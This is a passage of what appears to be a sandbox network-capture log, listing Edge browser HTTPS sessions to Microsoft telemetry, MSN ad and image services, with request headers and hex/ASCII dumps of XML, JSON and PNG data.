2024-11-22 13:44:00 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:44:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134400Z-174c587ffdf4zw2thC1TEBu34000000001h000000000f5hd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:44:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49912	20.110.205.119	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	1175	OUT	GET /c.gif?rnd=1732283037066&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e86e0d66dc7146a5907dace5bc002599&activityId=e86e0d66dc7146a5907dace5bc002599&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1
2024-11-22 13:44:00 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732283037066&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e86e0d66dc7146a5907dace5bc002599&activityId=e86e0d66dc7146a5907dace5bc002599&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=13585E899D4442B78D5136D58CC68DD8&RedC=c.msn.com&MXFR=0AFE249FEBCF639338DA31A0EAE662C3 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0AFE249FEBCF639338DA31A0EAE662C3; domain=.msn.com; expires=Wed, 17-Dec-2025 13:44:00 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Fri, 22 Nov 2024 13:44:00 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49911	20.189.173.7	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732283037064&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3758 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1
2024-11-22 13:44:00 UTC	3758	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 31 33 3a 34 33 3a 35 37 2e 30 36 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 37 34 35 37 66 30 2d 34 37 33 62 2d 34 30 61 38 2d 39 31 30 62 2d 39 36 35 34 62 63 37 32 31 33 36 62 22 2c 22 65 70 6f 63 68 22 3a 22 34 32 30 39 39 32 33 36 38 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-22T13:43:57.060Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"207457f0-473b-40a8-910b-9654bc72136b","epoch":"4209923680"},"app":{"locale
2024-11-22 13:44:00 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f4fbdcbb925f4df2a4ab7ecdfecfb20e&HASH=f4fb&LV=202411&V=4&LU=1732283040567; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 13:44:00 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=940bf813dafa41bdadc053aae69a038a; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 14:14:00 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3503 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 13:44:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49914	23.101.168.44	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0AFE249FEBCF639338DA31A0EAE662C3&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9372d335dadc49abceaa658c2d9a48bd HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0AFE249FEBCF639338DA31A0EAE662C3; _EDGE_S=F=1&SID=1A32DE6A5A69679E0F0FCB555B2E66D5; _EDGE_V=1
2024-11-22 13:44:00 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 22 Nov 2024 13:44:00 GMT Connection: close
2024-11-22 13:44:00 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49917	104.117.182.73	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:00 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=127537 Expires: Sun, 24 Nov 2024 01:09:37 GMT Date: Fri, 22 Nov 2024 13:44:00 GMT Connection: close
2024-11-22 13:44:00 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49919	104.117.182.73	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:00 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=259981 Expires: Mon, 25 Nov 2024 13:57:01 GMT Date: Fri, 22 Nov 2024 13:44:00 GMT Connection: close
2024-11-22 13:44:00 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49916	104.117.182.73	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:00 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=145766 Expires: Sun, 24 Nov 2024 06:13:26 GMT Date: Fri, 22 Nov 2024 13:44:00 GMT Connection: close
2024-11-22 13:44:00 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49915	104.117.182.73	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:01 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=344660 Expires: Tue, 26 Nov 2024 13:28:20 GMT Date: Fri, 22 Nov 2024 13:44:00 GMT Connection: close
2024-11-22 13:44:01 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49918	104.117.182.73	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:00 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:44:01 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=243232 Expires: Mon, 25 Nov 2024 09:17:52 GMT Date: Fri, 22 Nov 2024 13:44:00 GMT Connection: close
2024-11-22 13:44:01 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49920	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:44:01 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
